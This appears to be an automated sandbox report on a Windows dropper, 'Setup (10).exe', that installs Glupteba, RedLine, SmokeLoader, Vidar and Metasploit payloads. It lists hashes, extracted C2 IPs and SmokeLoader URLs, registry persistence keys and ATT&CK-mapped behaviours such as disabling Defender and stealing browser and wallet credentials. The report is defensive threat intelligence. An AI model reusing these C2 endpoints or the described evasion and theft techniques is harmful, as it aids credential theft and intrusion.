glupteba | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

Target

Setup (10).exe
Size

631KB
MD5

cb927513ff8ebff4dd52a47f7e42f934
SHA1

0de47c02a8adc4940a6c18621b4e4a619641d029
SHA256

fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
SHA512

988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Score

10^/10

glupteba metasploit redline smokeloader vidar mybirja norman2 spspectr backdoor discovery dropper evasion infostealer loader persistence spyware stealer themida trojan

Malware Config

Extracted

Family

redline

Botnet

mybirja

45.14.49.232:63850

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

redline

Botnet

NORMAN2

45.14.49.184:27587

Extracted

Family

redline

Botnet

spspectr

135.148.139.222:1494

Extracted

Family

smokeloader

Version

2020

http://readinglistforaugust1.xyz/

http://readinglistforaugust2.xyz/

http://readinglistforaugust3.xyz/

http://readinglistforaugust4.xyz/

http://readinglistforaugust5.xyz/

http://readinglistforaugust6.xyz/

http://readinglistforaugust7.xyz/

http://readinglistforaugust8.xyz/

http://readinglistforaugust9.xyz/

http://readinglistforaugust10.xyz/

http://readinglistforaugust1.site/

http://readinglistforaugust2.site/

http://readinglistforaugust3.site/

http://readinglistforaugust4.site/

http://readinglistforaugust5.site/

http://readinglistforaugust6.site/

http://readinglistforaugust7.site/

http://readinglistforaugust8.site/

http://readinglistforaugust9.site/

http://readinglistforaugust10.site/

rc4.i32

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/996-386-0x0000000004390000-0x0000000004CB6000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5288 4816 rundll32.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5288	4816	rundll32.exe

RedLine Payload 17 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Documents\YNoV9DD0HJeUfa2cexjpQxMU.exe	family_redline
C:\Users\Admin\Documents\YNoV9DD0HJeUfa2cexjpQxMU.exe	family_redline
behavioral2/memory/4924-320-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/3432-392-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/1728-390-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/8-421-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/4900-335-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral2/memory/4900-331-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/4924-322-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral2/memory/5404-438-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/5684-461-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/5152-498-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/6064-483-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/5812-545-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/504-533-0x0000000000000000-mapping.dmp	family_redline
behavioral2/memory/5152-562-0x0000000005130000-0x0000000005748000-memory.dmp	family_redline
behavioral2/memory/4592-570-0x0000000000000000-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateProcessExOtherParentProcess 28 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWNQWi42NIFcn2gkCzJslMDRK.exeWerFault.exeWerFault.exeWerFault.exeSpadille.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe1pBuL4NufYRWFacB9NlZzL2t.exeWerFault.exeWerFault.exeSpadille.exeWerFault.exeWerFault.exe

description	pid	process	target process
PID 3312 created 1492	3312	WerFault.exe	jV2gGv4Tv1hODxCmkwFIm2SC.exe
PID 1308 created 4952	1308		kPmhwLuYdptSxpC5nJ2HYGqi.exe
PID 4804 created 2444	4804		uBN1ITfzvkAYUZfRvt_zGg_E.exe
PID 4696 created 996	4696	WerFault.exe	9G06nUnsYSXedp8fNlz3CfEQ.exe
PID 860 created 3428	860	WerFault.exe	WHoLWEO0CFbdAtlN7HTKzKCw.exe
PID 5276 created 1728	5276	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 6076 created 5412	6076	WerFault.exe	rundll32.exe
PID 6904 created 7044	6904	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 6516 created 1792	6516	WerFault.exe	2720258.exe
PID 8068 created 6092	8068	WerFault.exe	7832981.exe
PID 7508 created 7464	7508	WerFault.exe	AEA.exe
PID 1228 created 3912	1228	WerFault.exe	explorer.exe
PID 6340 created 6164	6340	WerFault.exe	Spadille.exe
PID 6652 created 3208	6652	WNQWi42NIFcn2gkCzJslMDRK.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 8848 created 8404	8848	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 8344 created 8856	8344	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 8744 created 8252	8744	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 816 created 5952	816	Spadille.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 7652 created 5800	7652	WerFault.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 7520 created 5464	7520	WerFault.exe	Spadille.exe
PID 2584 created 5348	2584	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 7960 created 6492	7960	WerFault.exe	Spadille.exe
PID 10124 created 9752	10124	1pBuL4NufYRWFacB9NlZzL2t.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 6300 created 9600	6300	WerFault.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 2248 created 10044	2248	WerFault.exe	Spadille.exe
PID 10476 created 5236	10476	Spadille.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 2236 created 11036	2236	WerFault.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 11624 created 12280	11624	WerFault.exe	Spadille.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 1 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/2444-289-0x0000000003B90000-0x0000000003C63000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 64 IoCs

Processes:

4HlrcO2wzfInGr4Ky7YAL33o.exe1pBuL4NufYRWFacB9NlZzL2t.exepZ21gI9glwA0_gE3DYI_MJ93.exedGTpOqHh8qXCb6nq4EdERMAE.exed7nxUIamT66Dlsgg7msaUJvx.exeJjSCu82ovNi2I3gZtNKOSOYV.exeYNoV9DD0HJeUfa2cexjpQxMU.exe_E1_K8fAVJy4HbXWR7S75JuG.exekPmhwLuYdptSxpC5nJ2HYGqi.exeWNQWi42NIFcn2gkCzJslMDRK.exeTDuuo2KVaN8WO9_kRTDJDVlb.exe8thj38R25wqxTEVXQqLPXrCa.exejV2gGv4Tv1hODxCmkwFIm2SC.exePmowFgflgwpO3w3iBU9Y4YnO.exevpfD8i8ZWrn78q8eDZH3H6Qo.exekM_zMZ2q6JSoO00frsBoRw47.exeuBN1ITfzvkAYUZfRvt_zGg_E.exeDAR2gT5USYSgOlkLHiQ5Ibhx.exe9G06nUnsYSXedp8fNlz3CfEQ.exeWHoLWEO0CFbdAtlN7HTKzKCw.execJLn5MKrN8t2IeC4H2prr7nd.exeoHR_H4qfhBp7Z14UAMq2BtlF.exefV5idJ6QtSpyo8yqb80UUS_a.executm3.exemd8_8eus.exeSpadille.exefV5idJ6QtSpyo8yqb80UUS_a.tmpoHR_H4qfhBp7Z14UAMq2BtlF.exe1pBuL4NufYRWFacB9NlZzL2t.exevpfD8i8ZWrn78q8eDZH3H6Qo.exeWNQWi42NIFcn2gkCzJslMDRK.exedGTpOqHh8qXCb6nq4EdERMAE.exeSetup.exeIQ0V_Fe_.eXE1pBuL4NufYRWFacB9NlZzL2t.exevpfD8i8ZWrn78q8eDZH3H6Qo.exeWNQWi42NIFcn2gkCzJslMDRK.exe2720258.exe1pBuL4NufYRWFacB9NlZzL2t.exe5512077.exe2755000.exe1pBuL4NufYRWFacB9NlZzL2t.exe7047766.exeWNQWi42NIFcn2gkCzJslMDRK.exevpfD8i8ZWrn78q8eDZH3H6Qo.exe7832981.exe1pBuL4NufYRWFacB9NlZzL2t.exeWinHoster.exeWNQWi42NIFcn2gkCzJslMDRK.exevpfD8i8ZWrn78q8eDZH3H6Qo.exe1pBuL4NufYRWFacB9NlZzL2t.exestat.exeWNQWi42NIFcn2gkCzJslMDRK.exeSpadille.exevpfD8i8ZWrn78q8eDZH3H6Qo.exestat.tmpWNQWi42NIFcn2gkCzJslMDRK.exe1pBuL4NufYRWFacB9NlZzL2t.exeSpadille.exevpfD8i8ZWrn78q8eDZH3H6Qo.exeWNQWi42NIFcn2gkCzJslMDRK.exe1pBuL4NufYRWFacB9NlZzL2t.exeSpadille.exe

pid	process
4488	4HlrcO2wzfInGr4Ky7YAL33o.exe
4400	1pBuL4NufYRWFacB9NlZzL2t.exe
4480	pZ21gI9glwA0_gE3DYI_MJ93.exe
4580	dGTpOqHh8qXCb6nq4EdERMAE.exe
4756	d7nxUIamT66Dlsgg7msaUJvx.exe
4828	JjSCu82ovNi2I3gZtNKOSOYV.exe
4076	YNoV9DD0HJeUfa2cexjpQxMU.exe
4540	_E1_K8fAVJy4HbXWR7S75JuG.exe
4952	kPmhwLuYdptSxpC5nJ2HYGqi.exe
3184	WNQWi42NIFcn2gkCzJslMDRK.exe
4800	TDuuo2KVaN8WO9_kRTDJDVlb.exe
1504	8thj38R25wqxTEVXQqLPXrCa.exe
1492	jV2gGv4Tv1hODxCmkwFIm2SC.exe
1904	PmowFgflgwpO3w3iBU9Y4YnO.exe
2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
2428	kM_zMZ2q6JSoO00frsBoRw47.exe
2444	uBN1ITfzvkAYUZfRvt_zGg_E.exe
2788	DAR2gT5USYSgOlkLHiQ5Ibhx.exe
996	9G06nUnsYSXedp8fNlz3CfEQ.exe
3428	WHoLWEO0CFbdAtlN7HTKzKCw.exe
5040	cJLn5MKrN8t2IeC4H2prr7nd.exe
1428	oHR_H4qfhBp7Z14UAMq2BtlF.exe
3152	fV5idJ6QtSpyo8yqb80UUS_a.exe
4284	cutm3.exe
1452	md8_8eus.exe
3612	Spadille.exe
1752	fV5idJ6QtSpyo8yqb80UUS_a.tmp
4944	oHR_H4qfhBp7Z14UAMq2BtlF.exe
4924	1pBuL4NufYRWFacB9NlZzL2t.exe
664	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
4900	WNQWi42NIFcn2gkCzJslMDRK.exe
4644	dGTpOqHh8qXCb6nq4EdERMAE.exe
4616	Setup.exe
2060	IQ0V_Fe_.eXE
2908	1pBuL4NufYRWFacB9NlZzL2t.exe
3612	Spadille.exe
1728	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3432	WNQWi42NIFcn2gkCzJslMDRK.exe
1792	2720258.exe
1428	1pBuL4NufYRWFacB9NlZzL2t.exe
5252	5512077.exe
5484	2755000.exe
8	1pBuL4NufYRWFacB9NlZzL2t.exe
5768	7047766.exe
5268	WNQWi42NIFcn2gkCzJslMDRK.exe
5404	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
6092	7832981.exe
5684	1pBuL4NufYRWFacB9NlZzL2t.exe
5492	WinHoster.exe
6064	WNQWi42NIFcn2gkCzJslMDRK.exe
5152	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
504	1pBuL4NufYRWFacB9NlZzL2t.exe
5208	stat.exe
5884	WNQWi42NIFcn2gkCzJslMDRK.exe
5812	Spadille.exe
4592	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
5736	stat.tmp
5540	WNQWi42NIFcn2gkCzJslMDRK.exe
5144	1pBuL4NufYRWFacB9NlZzL2t.exe
512	Spadille.exe
5592	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
4216	WNQWi42NIFcn2gkCzJslMDRK.exe
4072	1pBuL4NufYRWFacB9NlZzL2t.exe
1468	Spadille.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

kM_zMZ2q6JSoO00frsBoRw47.exeDAR2gT5USYSgOlkLHiQ5Ibhx.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	kM_zMZ2q6JSoO00frsBoRw47.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	DAR2gT5USYSgOlkLHiQ5Ibhx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	DAR2gT5USYSgOlkLHiQ5Ibhx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	kM_zMZ2q6JSoO00frsBoRw47.exe

Loads dropped DLL 9 IoCs

Processes:

fV5idJ6QtSpyo8yqb80UUS_a.tmp1pBuL4NufYRWFacB9NlZzL2t.exerundll32.exerundll32.exestat.tmp

pid	process
1752	fV5idJ6QtSpyo8yqb80UUS_a.tmp
1752	fV5idJ6QtSpyo8yqb80UUS_a.tmp
1428	1pBuL4NufYRWFacB9NlZzL2t.exe
5552	rundll32.exe
5412	rundll32.exe
5736	stat.tmp
5736	stat.tmp
1428	1pBuL4NufYRWFacB9NlZzL2t.exe
1428	1pBuL4NufYRWFacB9NlZzL2t.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Documents\DAR2gT5USYSgOlkLHiQ5Ibhx.exe	themida
C:\Users\Admin\Documents\kM_zMZ2q6JSoO00frsBoRw47.exe	themida
C:\Users\Admin\Documents\kM_zMZ2q6JSoO00frsBoRw47.exe	themida
C:\Users\Admin\Documents\DAR2gT5USYSgOlkLHiQ5Ibhx.exe	themida
behavioral2/memory/2428-314-0x0000000000170000-0x0000000000171000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

5512077.exemsedge.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	5512077.exe
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_5EFC0ECB77A7585FE9DCDD0B2E946A2B = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window /prefetch:5"	msedge.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

kM_zMZ2q6JSoO00frsBoRw47.exeDAR2gT5USYSgOlkLHiQ5Ibhx.exevpfD8i8ZWrn78q8eDZH3H6Qo.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	kM_zMZ2q6JSoO00frsBoRw47.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	DAR2gT5USYSgOlkLHiQ5Ibhx.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	vpfD8i8ZWrn78q8eDZH3H6Qo.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

42 ipinfo.io
98 ipinfo.io
103 ipinfo.io
6 ipinfo.io
35 ipinfo.io
42 ip-api.com
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

kM_zMZ2q6JSoO00frsBoRw47.exeDAR2gT5USYSgOlkLHiQ5Ibhx.exe7FBD.exe

pid process

2428 kM_zMZ2q6JSoO00frsBoRw47.exe
2788 DAR2gT5USYSgOlkLHiQ5Ibhx.exe
1256 7FBD.exe
1256 7FBD.exe
1256 7FBD.exe

flow	ioc
42	ipinfo.io
98	ipinfo.io
103	ipinfo.io
6	ipinfo.io
35	ipinfo.io
42	ip-api.com

pid	process
2428	kM_zMZ2q6JSoO00frsBoRw47.exe
2788	DAR2gT5USYSgOlkLHiQ5Ibhx.exe
1256	7FBD.exe
1256	7FBD.exe
1256	7FBD.exe

Suspicious use of SetThreadContext 64 IoCs

Processes:

1pBuL4NufYRWFacB9NlZzL2t.exeWNQWi42NIFcn2gkCzJslMDRK.exedGTpOqHh8qXCb6nq4EdERMAE.exevpfD8i8ZWrn78q8eDZH3H6Qo.exeSpadille.exeTDuuo2KVaN8WO9_kRTDJDVlb.exepZ21gI9glwA0_gE3DYI_MJ93.exe_E1_K8fAVJy4HbXWR7S75JuG.exe

description	pid	process	target process
PID 4400 set thread context of 4924	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 3184 set thread context of 4900	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 4580 set thread context of 4644	4580	dGTpOqHh8qXCb6nq4EdERMAE.exe	dGTpOqHh8qXCb6nq4EdERMAE.exe
PID 2132 set thread context of 1728	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3184 set thread context of 3432	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 4400 set thread context of 8	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 2132 set thread context of 5404	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 4400 set thread context of 5684	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 3184 set thread context of 6064	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 2132 set thread context of 5152	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 4400 set thread context of 504	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 3612 set thread context of 5812	3612	Spadille.exe	Spadille.exe
PID 2132 set thread context of 4592	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 4400 set thread context of 5144	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 3612 set thread context of 512	3612	Spadille.exe	Spadille.exe
PID 2132 set thread context of 5592	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3184 set thread context of 4216	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 3612 set thread context of 1468	3612	Spadille.exe	Spadille.exe
PID 2132 set thread context of 5984	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3184 set thread context of 788	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 4800 set thread context of 2248	4800	TDuuo2KVaN8WO9_kRTDJDVlb.exe	TDuuo2KVaN8WO9_kRTDJDVlb.exe
PID 3612 set thread context of 6112	3612	Spadille.exe	Spadille.exe
PID 2132 set thread context of 6132	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 4400 set thread context of 232	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 3612 set thread context of 2680	3612	Spadille.exe	Spadille.exe
PID 4400 set thread context of 5568	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 2132 set thread context of 4188	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3184 set thread context of 928	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 3612 set thread context of 4716	3612	Spadille.exe	Spadille.exe
PID 4400 set thread context of 908	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 2132 set thread context of 3572	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3184 set thread context of 1908	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 2132 set thread context of 6576	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 4400 set thread context of 6780	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 2132 set thread context of 7044	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3184 set thread context of 6888	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 3612 set thread context of 6840	3612	Spadille.exe	Spadille.exe
PID 4400 set thread context of 6408	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 4480 set thread context of 7104	4480	pZ21gI9glwA0_gE3DYI_MJ93.exe	pZ21gI9glwA0_gE3DYI_MJ93.exe
PID 3612 set thread context of 6656	3612	Spadille.exe	Spadille.exe
PID 4540 set thread context of 6608	4540	_E1_K8fAVJy4HbXWR7S75JuG.exe	_E1_K8fAVJy4HbXWR7S75JuG.exe
PID 2132 set thread context of 6700	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3184 set thread context of 6920	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 4400 set thread context of 6148	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 2132 set thread context of 3252	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3184 set thread context of 4180	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 4400 set thread context of 6512	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 3184 set thread context of 6648	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 2132 set thread context of 7172	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3612 set thread context of 7288	3612	Spadille.exe	Spadille.exe
PID 4400 set thread context of 7312	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 2132 set thread context of 7800	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3184 set thread context of 7704	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 4400 set thread context of 8060	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 2132 set thread context of 6384	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 3184 set thread context of 5084	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 3612 set thread context of 7272	3612	Spadille.exe	Spadille.exe
PID 3184 set thread context of 6012	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 2132 set thread context of 7996	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
PID 4400 set thread context of 6468	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 3612 set thread context of 1192	3612	Spadille.exe	Spadille.exe
PID 3184 set thread context of 7504	3184	WNQWi42NIFcn2gkCzJslMDRK.exe	WNQWi42NIFcn2gkCzJslMDRK.exe
PID 4400 set thread context of 7588	4400	1pBuL4NufYRWFacB9NlZzL2t.exe	1pBuL4NufYRWFacB9NlZzL2t.exe
PID 2132 set thread context of 7724	2132	vpfD8i8ZWrn78q8eDZH3H6Qo.exe	vpfD8i8ZWrn78q8eDZH3H6Qo.exe

Drops file in Program Files directory 19 IoCs

Processes:

4HlrcO2wzfInGr4Ky7YAL33o.exeSetup.exevpfD8i8ZWrn78q8eDZH3H6Qo.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst1.exe	4HlrcO2wzfInGr4Ky7YAL33o.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	4HlrcO2wzfInGr4Ky7YAL33o.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	4HlrcO2wzfInGr4Ky7YAL33o.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Uninstall.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\stat.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
File created	C:\Program Files (x86)\Company\NewProduct\tmp.edb	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
File created	C:\Program Files (x86)\Company\NewProduct\d.jfm	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.jfm	vpfD8i8ZWrn78q8eDZH3H6Qo.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	4HlrcO2wzfInGr4Ky7YAL33o.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	4HlrcO2wzfInGr4Ky7YAL33o.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url	Setup.exe
File created	C:\Program Files (x86)\SmartPDF\SmartPDF\Uninstall.ini	Setup.exe
File created	C:\Program Files (x86)\Company\NewProduct\d	vpfD8i8ZWrn78q8eDZH3H6Qo.exe

Drops file in Windows directory 1 IoCs

Processes:

WerFault.exe

description ioc process

File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
